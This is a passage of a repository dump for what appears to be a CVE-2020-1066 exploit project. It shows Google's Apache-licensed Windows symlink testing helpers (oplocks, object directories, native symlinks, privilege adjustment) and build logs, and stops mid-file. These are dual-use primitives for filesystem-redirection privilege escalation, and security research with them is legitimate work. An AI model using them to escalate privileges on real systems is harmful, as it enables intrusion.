[
  {
    "path": ".gitignore",
    "content": "# Prerequisites\n*.d\n\n# Compiled Object files\n*.slo\n*.lo\n*.o\n*.obj\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n*.dll\n\n# Fortran module files\n*.mod\n*.smod\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n*.lib\n\n# Executables\n*.out\n*.app\n"
  },
  {
    "path": "CommonUtils/CommonUtils.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"CommonUtils.h\"\n#include <strsafe.h>\n#include \"ntimports.h\"\n\nvoid __stdcall my_puts(const char* str)\n{\n\tfwrite(str, 1, strlen(str), stdout);\n}\n\nstatic console_output _pout = my_puts;\n\nvoid DebugSetOutput(console_output pout)\n{\n\t_pout = pout;\n}\n\nvoid DebugPrintf(const char* lpFormat, ...)\n{\n\tCHAR buf[1024];\n\tva_list va;\n\n\tva_start(va, lpFormat);\n\n\tStringCbVPrintfA(buf, sizeof(buf), lpFormat, va);\t\n\n\t_pout(buf);\n}\n\nstd::wstring GetErrorMessage(DWORD dwError)\n{\n\tLPWSTR pBuffer = NULL;\n\n\tDWORD dwSize = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS |\n\t\tFORMAT_MESSAGE_ALLOCATE_BUFFER, 0, dwError, 0, (LPWSTR)&pBuffer, 32 * 1024, nullptr);\n\n\tif (dwSize > 0)\n\t{\n\t\tstd::wstring ret = pBuffer;\n\n\t\tLocalFree(pBuffer);\n\n\t\treturn ret;\n\t}\n\telse\n\t{\n\t\tprintf(\"Error getting message %d\\n\", GetLastError());\n\t\tWCHAR buf[64];\n\t\tStringCchPrintf(buf, _countof(buf), L\"%d\", dwError);\n\t\treturn buf;\n\t}\n}\n\nstd::wstring GetErrorMessage()\n{\n\treturn GetErrorMessage(GetLastError());\n}\n\n\nBOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)\n{\n\tTOKEN_PRIVILEGES tp;\n\tLUID luid;\n\n\tif (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))\n\t{\n\t\treturn FALSE;\n\t}\n\n\ttp.PrivilegeCount = 1;\n\ttp.Privileges[0].Luid = luid;\n\tif (bEnablePrivilege)\n\t{\n\t\ttp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\t}\n\telse\n\t{\n\t\ttp.Privileges[0].Attributes = 0;\n\t}\n\n\tif (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))\n\t{\n\t\treturn FALSE;\n\t}\n\n\tif (GetLastError() == ERROR_NOT_ALL_ASSIGNED)\n\t{\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nDWORD NtStatusToDosError(NTSTATUS status)\n{\n\tDEFINE_NTDLL(RtlNtStatusToDosError);\n\treturn fRtlNtStatusToDosError(status);\n}\n\nvoid SetNtLastError(NTSTATUS status)\n{\n\tSetLastError(NtStatusToDosError(status));\n}\n\nFARPROC GetProcAddressNT(LPCSTR lpName)\n{\n\treturn GetProcAddress(GetModuleHandleW(L\"ntdll\"), lpName);\n}\n\nHANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options)\n{\n\tUNICODE_STRING name = { 0 };\n\tOBJECT_ATTRIBUTES obj_attr = { 0 };\n\n\tDEFINE_NTDLL(RtlInitUnicodeString);\n\tDEFINE_NTDLL(NtOpenFile);\n\n\tif (path)\n\t{\n\t\tfRtlInitUnicodeString(&name, path);\n\t\tInitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);\n\t}\n\telse\n\t{\n\t\tInitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, root, nullptr);\n\t}\n\n\tHANDLE h = nullptr;\n\tIO_STATUS_BLOCK io_status = { 0 };\n\tNTSTATUS status = fNtOpenFile(&h, desired_access, &obj_attr, &io_status, share_access, open_options);\n\tif (NT_SUCCESS(status))\n\t{\n\t\treturn h;\n\t}\n\telse\n\t{\n\t\tSetNtLastError(status);\n\t\treturn nullptr;\n\t}\n}\n\nstd::wstring BuildFullPath(const std::wstring& path, bool native)\n{\n\tstd::wstring ret;\n\tWCHAR buf[MAX_PATH];\n\n\tif (native)\n\t{\n\t\tret = L\"\\\\??\\\\\";\n\t}\n\n\tif (GetFullPathName(path.c_str(), MAX_PATH, buf, nullptr) > 0)\n\t{\n\t\tret += buf;\n\t}\n\telse\n\t{\n\t\tret += path;\n\t}\n\n\treturn ret;\n}"
  },
  {
    "path": "CommonUtils/CommonUtils.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <string>\n\ntypedef void(__stdcall *console_output)(const char*);\n\nvoid DebugSetOutput(console_output pout);\nvoid DebugPrintf(const char* lpFormat, ...);\nHANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname);\nHANDLE OpenSymlink(HANDLE root, LPCWSTR linkname);\nHANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow);\nHANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname);\nstd::wstring GetErrorMessage(DWORD dwError);\nstd::wstring GetErrorMessage();\nBOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege);\nbool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile);\nbool DeleteRegSymlink(LPCWSTR lpSymlink);\nDWORD NtStatusToDosError(NTSTATUS status);\nbool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);\nHANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options);\nstd::wstring BuildFullPath(const std::wstring& path, bool native);"
  },
  {
    "path": "CommonUtils/CommonUtils.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>CommonUtils</RootNamespace>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>StaticLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>Static</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>StaticLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v140</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <OutDir>$(SolutionDir)Build\\</OutDir>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClInclude Include=\"CommonUtils.h\" />\n    <ClInclude Include=\"FileOpLock.h\" />\n    <ClInclude Include=\"FileSymlink.h\" />\n    <ClInclude Include=\"ntimports.h\" />\n    <ClInclude Include=\"ReparsePoint.h\" />\n    <ClInclude Include=\"ScopedHandle.h\" />\n    <ClInclude Include=\"stdafx.h\" />\n    <ClInclude Include=\"targetver.h\" />\n    <ClInclude Include=\"typed_buffer.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"CommonUtils.cpp\" />\n    <ClCompile Include=\"DirectoryObject.cpp\" />\n    <ClCompile Include=\"FileOpLock.cpp\" />\n    <ClCompile Include=\"FileSymlink.cpp\" />\n    <ClCompile Include=\"Hardlink.cpp\" />\n    <ClCompile Include=\"NativeSymlink.cpp\" />\n    <ClCompile Include=\"RegistrySymlink.cpp\" />\n    <ClCompile Include=\"ReparsePoint.cpp\" />\n    <ClCompile Include=\"ScopedHandle.cpp\" />\n    <ClCompile Include=\"stdafx.cpp\">\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\n    </ClCompile>\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "CommonUtils/CommonUtils.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"stdafx.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"targetver.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"FileOpLock.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"CommonUtils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"FileSymlink.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ScopedHandle.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ReparsePoint.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"typed_buffer.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ntimports.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"stdafx.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"FileOpLock.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"NativeSymlink.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"CommonUtils.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"FileSymlink.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ScopedHandle.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ReparsePoint.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"DirectoryObject.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"RegistrySymlink.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Hardlink.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "CommonUtils/Debug/CommonUtils.log",
    "content": "﻿生成启动时间为 2020/5/2 15:58:28。\n     1>项目“E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\CommonUtils\\CommonUtils.vcxproj”在节点 3 上(Build 个目标)。\n     1>ClCompile:\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _LIB /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MTd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Yc\"stdafx.h\" /Fp\"Debug\\CommonUtils.pch\" /Fo\"Debug\\\\\" /Fd\"Debug\\vc120.pdb\" /Gd /TP /analyze- /errorReport:prompt stdafx.cpp\n         stdafx.cpp\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _LIB /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MTd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Yu\"stdafx.h\" /Fp\"Debug\\CommonUtils.pch\" /Fo\"Debug\\\\\" /Fd\"Debug\\vc120.pdb\" /Gd /TP /analyze- /errorReport:prompt CommonUtils.cpp DirectoryObject.cpp FileOpLock.cpp FileSymlink.cpp Hardlink.cpp NativeSymlink.cpp RegistrySymlink.cpp ReparsePoint.cpp ScopedHandle.cpp\n         ScopedHandle.cpp\n         ReparsePoint.cpp\n         RegistrySymlink.cpp\n         NativeSymlink.cpp\n         Hardlink.cpp\n         FileSymlink.cpp\n         FileOpLock.cpp\n         DirectoryObject.cpp\n         CommonUtils.cpp\n         正在生成代码...\n       Lib:\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\Lib.exe /OUT:\"E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\CommonUtils.lib\" /NOLOGO Debug\\CommonUtils.obj\n         Debug\\DirectoryObject.obj\n         Debug\\FileOpLock.obj\n         Debug\\FileSymlink.obj\n         Debug\\Hardlink.obj\n         Debug\\NativeSymlink.obj\n         Debug\\RegistrySymlink.obj\n         Debug\\ReparsePoint.obj\n         Debug\\ScopedHandle.obj\n         Debug\\stdafx.obj\n         CommonUtils.vcxproj -> E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\CommonUtils.lib\n     1>已完成生成项目“E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\CommonUtils\\CommonUtils.vcxproj”(Build 个目标)的操作。\n\n生成成功。\n\n已用时间 00:00:08.48\n"
  },
  {
    "path": "CommonUtils/Debug/CommonUtils.tlog/CommonUtils.lastbuildstate",
    "content": "#TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit\nDebug|Win32|E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\|\n"
  },
  {
    "path": "CommonUtils/DirectoryObject.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"CommonUtils.h\"\n#include \"ntimports.h\"\n\nHANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow)\n{\n\tDEFINE_NTDLL(RtlInitUnicodeString);\n\tDEFINE_NTDLL(NtCreateDirectoryObjectEx);\n\n\tOBJECT_ATTRIBUTES obj_attr;\n\tUNICODE_STRING obj_name;\n\n\tif (dirname)\n\t{\n\t\tfRtlInitUnicodeString(&obj_name, dirname);\n\t\tInitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr);\n\t}\n\telse\n\t{\n\t\tInitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, hRoot, nullptr);\n\t}\n\n\tHANDLE h = nullptr;\n\tNTSTATUS status = fNtCreateDirectoryObjectEx(&h, DIRECTORY_ALL_ACCESS, &obj_attr, hShadow, FALSE);\n\tif (status == 0)\n\t{\n\t\treturn h;\n\t}\n\telse\n\t{\n\t\tSetLastError(NtStatusToDosError(status));\n\t\treturn nullptr;\n\t}\n}\n\nHANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname)\n{\n\tDEFINE_NTDLL(RtlInitUnicodeString);\n\tDEFINE_NTDLL(NtOpenDirectoryObject);\n\n\tOBJECT_ATTRIBUTES obj_attr;\n\tUNICODE_STRING obj_name;\n\n\tfRtlInitUnicodeString(&obj_name, dirname);\n\n\tInitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr);\n\n\tHANDLE h = nullptr;\n\n\tNTSTATUS status = fNtOpenDirectoryObject(&h, MAXIMUM_ALLOWED, &obj_attr);\n\tif (status == 0)\n\t{\n\t\treturn h;\n\t}\n\telse\n\t{\n\t\tSetLastError(NtStatusToDosError(status));\n\t\treturn nullptr;\n\t}\n}"
  },
  {
    "path": "CommonUtils/FileOpLock.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"FileOpLock.h\"\n#include <threadpoolapiset.h>\n\nvoid DebugPrintf(LPCSTR lpFormat, ...);\n\nFileOpLock::FileOpLock(UserCallback cb):\n\tg_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)\n{\n\tg_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\n\tg_inputBuffer.StructureLength = sizeof(g_inputBuffer);\n\tg_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\n\tg_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\t\n\tg_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\n\tg_outputBuffer.StructureLength = sizeof(g_outputBuffer);\n}\n\n\nFileOpLock::~FileOpLock()\n{\n\tif (g_wait)\n\t{\n\t\tSetThreadpoolWait(g_wait, nullptr, nullptr);\n\t\tCloseThreadpoolWait(g_wait);\n\t\tg_wait = nullptr;\n\t}\n\n\tif (g_o.hEvent)\n\t{\n\t\tCloseHandle(g_o.hEvent);\n\t\tg_o.hEvent = nullptr;\n\t}\n\n\tif (g_hFile != INVALID_HANDLE_VALUE)\n\t{\n\t\tCloseHandle(g_hFile);\n\t\tg_hFile = INVALID_HANDLE_VALUE;\n\t}\n}\n\nbool FileOpLock::BeginLock(const std::wstring& filename, DWORD dwShareMode, bool exclusive)\n{\n\tg_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);\n\tg_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);\n\n\tDWORD flags = FILE_FLAG_OVERLAPPED;\n\n\tif (GetFileAttributesW(filename.c_str()) & FILE_ATTRIBUTE_DIRECTORY)\n\t{\n\t\tflags |= FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT;\n\t}\n\n\tg_hFile = CreateFileW(filename.c_str(), GENERIC_READ,\n\t\tdwShareMode, nullptr, OPEN_EXISTING,\n\t\tflags, nullptr);\n\tif (g_hFile == INVALID_HANDLE_VALUE) {\n\t\tDebugPrintf(\"Error opening file: %d\\n\", GetLastError());\n\t\treturn false;\n\t}\n\n\tg_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);\n\tif (g_wait == nullptr)\n\t{\n\t\tDebugPrintf(\"Error creating threadpool %d\\n\", GetLastError());\n\t\treturn false;\n\t}\n\n\tSetThreadpoolWait(g_wait, g_o.hEvent, nullptr);\n\n\tDWORD bytesReturned;\n\n  if (exclusive)\n  {\n    DeviceIoControl(g_hFile,\n      FSCTL_REQUEST_OPLOCK_LEVEL_1,\n      NULL, 0,\n      NULL, 0,\n      &bytesReturned,\n      &g_o);\n  }\n  else\n  {\n    DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,\n      &g_inputBuffer, sizeof(g_inputBuffer),\n      &g_outputBuffer, sizeof(g_outputBuffer),\n      nullptr, &g_o);\n  }\n\n\tDWORD err = GetLastError();\n\tif (err != ERROR_IO_PENDING) {\n\t\tDebugPrintf(\"Oplock Failed %d\\n\", err);\n\t\treturn false;\n\t}\n\t\n\treturn true;\n}\n\nFileOpLock* FileOpLock::CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb)\n{\n\tFileOpLock* ret = new FileOpLock(cb);\n\tDWORD dwShareMode = 0;\n  bool exclusive = false;\n\n\tif (share_mode.find('r') != std::wstring::npos)\n\t{\n\t\tdwShareMode |= FILE_SHARE_READ;\n\t}\n\n\tif (share_mode.find('w') != std::wstring::npos)\n\t{\n\t\tdwShareMode |= FILE_SHARE_WRITE;\n\t}\n\n\tif (share_mode.find('d') != std::wstring::npos)\n\t{\n\t\tdwShareMode |= FILE_SHARE_DELETE;\n\t}\n\n  if (share_mode.find('x') != std::wstring::npos)\n  {\n    exclusive = true;\n  }\n\n\tif (ret->BeginLock(name, dwShareMode, exclusive))\n\t{\n\t\treturn ret;\n\t}\n\telse\n\t{\n\t\tdelete ret;\n\t\treturn nullptr;\n\t}\n}\n\nvoid FileOpLock::WaitForLock(UINT Timeout)\n{\t\n\tWaitForSingleObject(g_hLockCompleted, Timeout);\n}\n\nvoid FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,\n\tPVOID Parameter, PTP_WAIT Wait,\n\tTP_WAIT_RESULT WaitResult)\n{\n\tUNREFERENCED_PARAMETER(Instance);\n\tUNREFERENCED_PARAMETER(Wait);\n\tUNREFERENCED_PARAMETER(WaitResult);\n\n\tFileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);\n\n\tlock->DoWaitCallback();\t\n}\n\nvoid FileOpLock::DoWaitCallback()\n{\t\n\tDWORD dwBytes;\n\tif (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {\n\t\tDebugPrintf(\"Oplock Failed\\n\");\t\t\n\t}\n\t\n\tif (_cb)\n\t{\n\t\t_cb();\n\t}\n\t\n\tDebugPrintf(\"Closing Handle\\n\");\n\tCloseHandle(g_hFile);\n\tg_hFile = INVALID_HANDLE_VALUE;\n\tSetEvent(g_hLockCompleted);\n}"
  },
  {
    "path": "CommonUtils/FileOpLock.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <string>\n\nclass FileOpLock\n{\npublic:\n\ttypedef void(*UserCallback)();\n\n\tstatic FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);\n\tvoid WaitForLock(UINT Timeout);\n\n\t~FileOpLock();\nprivate:\n\n\tHANDLE g_hFile;\n\tOVERLAPPED g_o;\n\tREQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;\n\tREQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;\n\tHANDLE g_hLockCompleted;\n\tPTP_WAIT g_wait;\t\n\tUserCallback _cb;\n\n\tFileOpLock(UserCallback cb);\n\n\tstatic void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,\n\t\tPVOID Parameter, PTP_WAIT Wait,\n\t\tTP_WAIT_RESULT WaitResult);\n\n\tvoid DoWaitCallback();\n\n\tbool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);\n\n};\n\n"
  },
  {
    "path": "CommonUtils/FileSymlink.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"FileSymlink.h\"\n\n#include <vector>\n#include \"ReparsePoint.h\"\n#include \"CommonUtils.h\"\n\nFileSymlink::FileSymlink(bool permanent) \n\t: m_created_junction(false), m_hlink(nullptr), m_permanent(permanent)\n{\n}\n\nFileSymlink::FileSymlink() : FileSymlink(false)\n{\n}\n\nFileSymlink::~FileSymlink()\n{\n\tif (!m_permanent)\n\t{\n\t\tif (m_hlink)\n\t\t{\n\t\t\tCloseHandle(m_hlink);\n\t\t}\n\n\t\tif (m_created_junction)\n\t\t{\n\t\t\tRemoveDirectory(m_junctiondir);\n\t\t}\n\t}\n}\n\nbstr_t GetNativePath(LPCWSTR name, PBOOL isnative)\n{\n\tif (name[0] == '@')\n\t{\n\t\t*isnative = TRUE;\n\t\treturn name + 1;\n\t}\n\telse\n\t{\n\t\t*isnative = FALSE;\n\t\tstd::vector<WCHAR> buf(32 * 1024);\n\n\t\tif (GetFullPathNameW(name, buf.size(), &buf[0], nullptr) == 0)\n\t\t{\t\t\t\n\t\t\treturn L\"\";\n\t\t}\n\n\t\treturn &buf[0];\n\t}\n}\n\nFileSymlink::FileSymlink(FileSymlink&& other)\n{\n\tm_created_junction = other.m_created_junction;\n\tm_hlink = other.m_hlink;\n\tm_junctiondir = other.m_junctiondir;\n\tm_linkname = other.m_linkname;\n\tm_target = other.m_target;\n\n\tother.m_created_junction = 